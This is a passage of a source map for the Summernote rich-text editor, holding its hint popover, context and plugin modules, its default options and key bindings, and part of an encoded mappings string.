($item.length) {\n const node = this.nodeFromItem($item);\n // XXX: consider to move codes to editor for recording redo/undo.\n this.lastWordRange.insertNode(node);\n range.createFromNode(node).collapse().select();\n\n this.lastWordRange = null;\n this.hide();\n this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);\n this.context.invoke('editor.focus');\n }\n }\n\n nodeFromItem($item) {\n const hint = this.hints[$item.data('index')];\n const item = $item.data('item');\n let node = hint.content ? hint.content(item) : item;\n if (typeof node === 'string') {\n node = dom.createText(node);\n }\n return node;\n }\n\n createItemTemplates(hintIdx, items) {\n const hint = this.hints[hintIdx];\n return items.map((item, idx) => {\n const $item = $('<div class=\"note-hint-item\"/>');\n $item.append(hint.template ? hint.template(item) : item + '');\n $item.data({\n 'index': hintIdx,\n 'item': item\n });\n return $item;\n });\n }\n\n handleKeydown(e) {\n if (!this.$popover.is(':visible')) {\n return;\n }\n\n if (e.keyCode === key.code.ENTER) {\n e.preventDefault();\n this.replace();\n } else if (e.keyCode === key.code.UP) {\n e.preventDefault();\n this.moveUp();\n } else if (e.keyCode === key.code.DOWN) {\n e.preventDefault();\n this.moveDown();\n }\n }\n\n searchKeyword(index, keyword, callback) {\n const hint = this.hints[index];\n if (hint && hint.match.test(keyword) && hint.search) {\n const matches = hint.match.exec(keyword);\n hint.search(matches[1], callback);\n } else {\n callback();\n }\n }\n\n createGroup(idx, keyword) {\n const $group = $('<div class=\"note-hint-group note-hint-group-' + idx + '\"/>');\n this.searchKeyword(idx, keyword, (items) => {\n items = items || [];\n if (items.length) {\n $group.html(this.createItemTemplates(idx, items));\n this.show();\n }\n });\n\n return $group;\n }\n\n handleKeyup(e) {\n if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {\n const wordRange = this.context.invoke('editor.createRange').getWordRange();\n const keyword = wordRange.toString();\n if (this.hints.length && keyword) {\n this.$content.empty();\n\n const bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));\n if (bnd) {\n this.$popover.hide();\n this.lastWordRange = wordRange;\n this.hints.forEach((hint, idx) => {\n if (hint.match.test(keyword)) {\n this.createGroup(idx, keyword).appendTo(this.$content);\n }\n });\n // select first .note-hint-item\n this.$content.find('.note-hint-item:first').addClass('active');\n\n // set position for popover after group is created\n if (this.direction === 'top') {\n this.$popover.css({\n left: bnd.left,\n top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST\n });\n } else {\n this.$popover.css({\n left: bnd.left,\n top: bnd.top + bnd.height + POPOVER_DIST\n });\n }\n }\n } else {\n this.hide();\n }\n }\n }\n\n show() {\n this.$popover.show();\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport func from './core/func';\nimport lists from './core/lists';\nimport dom from './core/dom';\n\nexport default class Context {\n /**\n * @param {jQuery} $note\n * @param {Object} options\n */\n constructor($note, options) {\n this.ui = $.summernote.ui;\n this.$note = $note;\n\n this.memos = {};\n this.modules = {};\n this.layoutInfo = {};\n this.options = options;\n\n this.initialize();\n }\n\n /**\n * create layout and initialize modules and other resources\n */\n initialize() {\n this.layoutInfo = this.ui.createLayout(this.$note, this.options);\n this._initialize();\n this.$note.hide();\n return this;\n }\n\n /**\n * destroy modules and other resources and remove layout\n */\n destroy() {\n this._destroy();\n this.$note.removeData('summernote');\n this.ui.removeLayout(this.$note, this.layoutInfo);\n }\n\n /**\n * destory modules and other resources and initialize it again\n */\n reset() {\n const disabled = this.isDisabled();\n this.code(dom.emptyPara);\n this._destroy();\n this._initialize();\n\n if (disabled) {\n this.disable();\n }\n }\n\n _initialize() {\n // add optional buttons\n const buttons = $.extend({}, this.options.buttons);\n Object.keys(buttons).forEach((key) => {\n this.memo('button.' + key, buttons[key]);\n });\n\n const modules = $.extend({}, this.options.modules, $.summernote.plugins || {});\n\n // add and initialize modules\n Object.keys(modules).forEach((key) => {\n this.module(key, modules[key], true);\n });\n\n Object.keys(this.modules).forEach((key) => {\n this.initializeModule(key);\n });\n }\n\n _destroy() {\n // destroy modules with reversed order\n Object.keys(this.modules).reverse().forEach((key) => {\n this.removeModule(key);\n });\n\n Object.keys(this.memos).forEach((key) => {\n this.removeMemo(key);\n });\n // trigger custom onDestroy callback\n this.triggerEvent('destroy', this);\n }\n\n code(html) {\n const isActivated = this.invoke('codeview.isActivated');\n\n if (html === undefined) {\n this.invoke('codeview.sync');\n return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();\n } else {\n if (isActivated) {\n this.layoutInfo.codable.val(html);\n } else {\n this.layoutInfo.editable.html(html);\n }\n this.$note.val(html);\n this.triggerEvent('change', html);\n }\n }\n\n isDisabled() {\n return this.layoutInfo.editable.attr('contenteditable') === 'false';\n }\n\n enable() {\n this.layoutInfo.editable.attr('contenteditable', true);\n this.invoke('toolbar.activate', true);\n this.triggerEvent('disable', false);\n }\n\n disable() {\n // close codeview if codeview is opend\n if (this.invoke('codeview.isActivated')) {\n this.invoke('codeview.deactivate');\n }\n this.layoutInfo.editable.attr('contenteditable', false);\n this.invoke('toolbar.deactivate', true);\n\n this.triggerEvent('disable', true);\n }\n\n triggerEvent() {\n const namespace = lists.head(arguments);\n const args = lists.tail(lists.from(arguments));\n\n const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];\n if (callback) {\n callback.apply(this.$note[0], args);\n }\n this.$note.trigger('summernote.' + namespace, args);\n }\n\n initializeModule(key) {\n const module = this.modules[key];\n module.shouldInitialize = module.shouldInitialize || func.ok;\n if (!module.shouldInitialize()) {\n return;\n }\n\n // initialize module\n if (module.initialize) {\n module.initialize();\n }\n\n // attach events\n if (module.events) {\n dom.attachEvents(this.$note, module.events);\n }\n }\n\n module(key, ModuleClass, withoutIntialize) {\n if (arguments.length === 1) {\n return this.modules[key];\n }\n\n this.modules[key] = new ModuleClass(this);\n\n if (!withoutIntialize) {\n this.initializeModule(key);\n }\n }\n\n removeModule(key) {\n const module = this.modules[key];\n if (module.shouldInitialize()) {\n if (module.events) {\n dom.detachEvents(this.$note, module.events);\n }\n\n if (module.destroy) {\n module.destroy();\n }\n }\n\n delete this.modules[key];\n }\n\n memo(key, obj) {\n if (arguments.length === 1) {\n return this.memos[key];\n }\n this.memos[key] = obj;\n }\n\n removeMemo(key) {\n if (this.memos[key] && this.memos[key].destroy) {\n this.memos[key].destroy();\n }\n\n delete this.memos[key];\n }\n\n /**\n * Some buttons need to change their visual style immediately once they get pressed\n */\n createInvokeHandlerAndUpdateState(namespace, value) {\n return (event) => {\n this.createInvokeHandler(namespace, value)(event);\n this.invoke('buttons.updateCurrentStyle');\n };\n }\n\n createInvokeHandler(namespace, value) {\n return (event) => {\n event.preventDefault();\n const $target = $(event.target);\n this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);\n };\n }\n\n invoke() {\n const namespace = lists.head(arguments);\n const args = lists.tail(lists.from(arguments));\n\n const splits = namespace.split('.');\n const hasSeparator = splits.length > 1;\n const moduleName = hasSeparator && lists.head(splits);\n const methodName = hasSeparator ? lists.last(splits) : lists.head(splits);\n\n const module = this.modules[moduleName || 'editor'];\n if (!moduleName && this[methodName]) {\n return this[methodName].apply(this, args);\n } else if (module && module[methodName] && module.shouldInitialize()) {\n return module[methodName].apply(module, args);\n }\n }\n}\n","import $ from 'jquery';\nimport env from './base/core/env';\nimport lists from './base/core/lists';\nimport Context from './base/Context';\n\n$.fn.extend({\n /**\n * Summernote API\n *\n * @param {Object|String}\n * @return {this}\n */\n summernote: function() {\n const type = $.type(lists.head(arguments));\n const isExternalAPICalled = type === 'string';\n const hasInitOptions = type === 'object';\n\n const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {});\n\n // Update options\n options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);\n options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons);\n options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;\n\n this.each((idx, note) => {\n const $note = $(note);\n if (!$note.data('summernote')) {\n const context = new Context($note, options);\n $note.data('summernote', context);\n $note.data('summernote').triggerEvent('init', context.layoutInfo);\n }\n });\n\n const $note = this.first();\n if ($note.length) {\n const context = $note.data('summernote');\n if (isExternalAPICalled) {\n return context.invoke.apply(context, lists.from(arguments));\n } else if (options.focus) {\n context.invoke('editor.focus');\n }\n }\n\n return this;\n }\n});\n","import $ from 'jquery';\nimport ui from './ui';\nimport '../base/summernote-en-US';\nimport Editor from '../base/module/Editor';\nimport Clipboard from '../base/module/Clipboard';\nimport Dropzone from '../base/module/Dropzone';\nimport Codeview from '../base/module/Codeview';\nimport Statusbar from '../base/module/Statusbar';\nimport Fullscreen from '../base/module/Fullscreen';\nimport Handle from '../base/module/Handle';\nimport AutoLink from '../base/module/AutoLink';\nimport AutoSync from '../base/module/AutoSync';\nimport Placeholder from '../base/module/Placeholder';\nimport Buttons from '../base/module/Buttons';\nimport Toolbar from '../base/module/Toolbar';\nimport LinkDialog from '../base/module/LinkDialog';\nimport LinkPopover from '../base/module/LinkPopover';\nimport ImageDialog from '../base/module/ImageDialog';\nimport ImagePopover from '../base/module/ImagePopover';\nimport TablePopover from '../base/module/TablePopover';\nimport VideoDialog from '../base/module/VideoDialog';\nimport HelpDialog from '../base/module/HelpDialog';\nimport AirPopover from '../base/module/AirPopover';\nimport HintPopover from '../base/module/HintPopover';\n\n$.summernote = $.extend($.summernote, {\n version: '@@VERSION@@',\n ui: ui,\n\n plugins: {},\n\n options: {\n modules: {\n 'editor': Editor,\n 'clipboard': Clipboard,\n 'dropzone': Dropzone,\n 'codeview': Codeview,\n 'statusbar': Statusbar,\n 'fullscreen': Fullscreen,\n 'handle': Handle,\n // FIXME: HintPopover must be front of autolink\n // - Script error about range when Enter key is pressed on hint popover\n 'hintPopover': HintPopover,\n 'autoLink': AutoLink,\n 'autoSync': AutoSync,\n 'placeholder': Placeholder,\n 'buttons': Buttons,\n 'toolbar': Toolbar,\n 'linkDialog': LinkDialog,\n 'linkPopover': LinkPopover,\n 'imageDialog': ImageDialog,\n 'imagePopover': ImagePopover,\n 'tablePopover': TablePopover,\n 'videoDialog': VideoDialog,\n 'helpDialog': HelpDialog,\n 'airPopover': AirPopover\n },\n\n buttons: {},\n\n lang: 'en-US',\n\n followingToolbar: true,\n otherStaticBar: '',\n\n // toolbar\n toolbar: [\n ['style', ['style']],\n ['font', ['bold', 'underline', 'clear']],\n ['fontname', ['fontname']],\n ['fontsize', ['fontsize']],\n ['color', ['color']],\n ['para', ['ul', 'ol', 'paragraph']],\n ['table', ['table']],\n ['insert', ['link', 'picture', 'video']],\n ['view', ['fullscreen', 'codeview', 'help']]\n ],\n\n // popover\n popatmouse: true,\n popover: {\n image: [\n ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n ['float', ['floatLeft', 'floatRight', 'floatNone']],\n ['remove', ['removeMedia']]\n ],\n link: [\n ['link', ['linkDialogShow', 'unlink']]\n ],\n table: [\n ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n ],\n air: [\n ['color', ['color']],\n ['font', ['bold', 'underline', 'clear']],\n ['para', ['ul', 'paragraph']],\n ['table', ['table']],\n ['insert', ['link', 'picture']]\n ]\n },\n\n // air mode: inline editor\n airMode: false,\n\n width: null,\n height: null,\n\n focus: false,\n tabSize: 4,\n styleWithSpan: true,\n shortcuts: true,\n textareaAutoSync: true,\n hintDirection: 'bottom',\n tooltip: 'auto',\n container: 'body',\n maxTextLength: 0,\n\n styleTags: ['p', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'],\n\n fontNames: [\n 'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',\n 'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',\n 'Tahoma', 'Times New Roman', 'Verdana'\n ],\n\n fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],\n\n // pallete colors(n x n)\n colors: [\n ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],\n ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],\n ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],\n ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],\n ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],\n ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],\n ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],\n ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']\n ],\n\n // http://chir.ag/projects/name-that-color/\n colorsName: [\n ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],\n ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],\n ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],\n ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],\n ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],\n ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],\n ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],\n ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']\n ],\n\n lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],\n\n tableClassName: 'table table-bordered',\n\n insertTableMaxSize: {\n col: 10,\n row: 10\n },\n\n dialogsInBody: false,\n dialogsFade: false,\n\n maximumImageFileSize: null,\n\n callbacks: {\n onInit: null,\n onFocus: null,\n onBlur: null,\n onBlurCodeview: null,\n onEnter: null,\n onKeyup: null,\n onKeydown: null,\n onSubmit: null,\n onImageUpload: null,\n onImageUploadError: null\n },\n\n codemirror: {\n mode: 'text/html',\n htmlMode: true,\n lineNumbers: true\n },\n\n keyMap: {\n pc: {\n 'ENTER': 'insertParagraph',\n 'CTRL+Z': 'undo',\n 'CTRL+Y': 'redo',\n 'TAB': 'tab',\n 'SHIFT+TAB': 'untab',\n 'CTRL+B': 'bold',\n 'CTRL+I': 'italic',\n 'CTRL+U': 'underline',\n 'CTRL+SHIFT+S': 'strikethrough',\n 'CTRL+BACKSLASH': 'removeFormat',\n 'CTRL+SHIFT+L': 'justifyLeft',\n 'CTRL+SHIFT+E': 'justifyCenter',\n 'CTRL+SHIFT+R': 'justifyRight',\n 'CTRL+SHIFT+J': 'justifyFull',\n 'CTRL+SHIFT+NUM7': 'insertUnorderedList',\n 'CTRL+SHIFT+NUM8': 'insertOrderedList',\n 'CTRL+LEFTBRACKET': 'outdent',\n 'CTRL+RIGHTBRACKET': 'indent',\n 'CTRL+NUM0': 'formatPara',\n 'CTRL+NUM1': 'formatH1',\n 'CTRL+NUM2': 'formatH2',\n 'CTRL+NUM3': 'formatH3',\n 'CTRL+NUM4': 'formatH4',\n 'CTRL+NUM5': 'formatH5',\n 'CTRL+NUM6': 'formatH6',\n 'CTRL+ENTER': 'insertHorizontalRule',\n 'CTRL+K': 'linkDialog.show'\n },\n\n mac: {\n 'ENTER': 'insertParagraph',\n 'CMD+Z': 'undo',\n 'CMD+SHIFT+Z': 'redo',\n 'TAB': 'tab',\n 'SHIFT+TAB': 'untab',\n 'CMD+B': 'bold',\n 'CMD+I': 'italic',\n 'CMD+U': 'underline',\n 'CMD+SHIFT+S': 'strikethrough',\n 'CMD+BACKSLASH': 'removeFormat',\n 'CMD+SHIFT+L': 'justifyLeft',\n 'CMD+SHIFT+E': 'justifyCenter',\n 'CMD+SHIFT+R': 'justifyRight',\n 'CMD+SHIFT+J': 'justifyFull',\n 'CMD+SHIFT+NUM7': 'insertUnorderedList',\n 'CMD+SHIFT+NUM8': 'insertOrderedList',\n 'CMD+LEFTBRACKET': 'outdent',\n 'CMD+RIGHTBRACKET': 'indent',\n 'CMD+NUM0': 'formatPara',\n 'CMD+NUM1': 'formatH1',\n 'CMD+NUM2': 'formatH2',\n 'CMD+NUM3': 'formatH3',\n 'CMD+NUM4': 'formatH4',\n 'CMD+NUM5': 'formatH5',\n 'CMD+NUM6': 'formatH6',\n 'CMD+ENTER': 'insertHorizontalRule',\n 'CMD+K': 'linkDialog.show'\n }\n },\n icons: {\n 'align': 'note-icon-align',\n 'alignCenter': 'note-icon-align-center',\n 'alignJustify': 'note-icon-align-justify',\n 'alignLeft': 'note-icon-align-left',\n 'alignRight': 'note-icon-align-right',\n 'rowBelow': 'note-icon-row-below',\n 'colBefore': 'note-icon-col-before',\n 'colAfter': 'note-icon-col-after',\n 'rowAbove': 'note-icon-row-above',\n 'rowRemove': 'note-icon-row-remove',\n 'colRemove': 'note-icon-col-remove',\n 'indent': 'note-icon-align-indent',\n 'outdent': 'note-icon-align-outdent',\n 'arrowsAlt': 'note-icon-arrows-alt',\n 'bold': 'note-icon-bold',\n 'caret': 'note-icon-caret',\n 'circle': 'note-icon-circle',\n 'close': 'note-icon-close',\n 'code': 'note-icon-code',\n 'eraser': 'note-icon-eraser',\n 'font': 'note-icon-font',\n 'frame': 'note-icon-frame',\n 'italic': 'note-icon-italic',\n 'link': 'note-icon-link',\n 'unlink': 'note-icon-chain-broken',\n 'magic': 'note-icon-magic',\n 'menuCheck': 'note-icon-menu-check',\n 'minus': 'note-icon-minus',\n 'orderedlist': 'note-icon-orderedlist',\n 'pencil': 'note-icon-pencil',\n 'picture': 'note-icon-picture',\n 'question': 'note-icon-question',\n 'redo': 'note-icon-redo',\n 'square': 'note-icon-square',\n 'strikethrough': 'note-icon-strikethrough',\n 'subscript': 'note-icon-subscript',\n 'superscript': 'note-icon-superscript',\n 'table': 'note-icon-table',\n 'textHeight': 'note-icon-text-height',\n 'trash': 'note-icon-trash',\n 'underline': 'note-icon-underline',\n 'undo': 'note-icon-undo',\n 'unorderedlist': 'note-icon-unorderedlist',\n 'video': 'note-icon-video'\n }\n }\n});\n\nimport '../summernote'; // eslint-disable-line\n"],"names":["$","isEmpty","Codeview"],"mappings":"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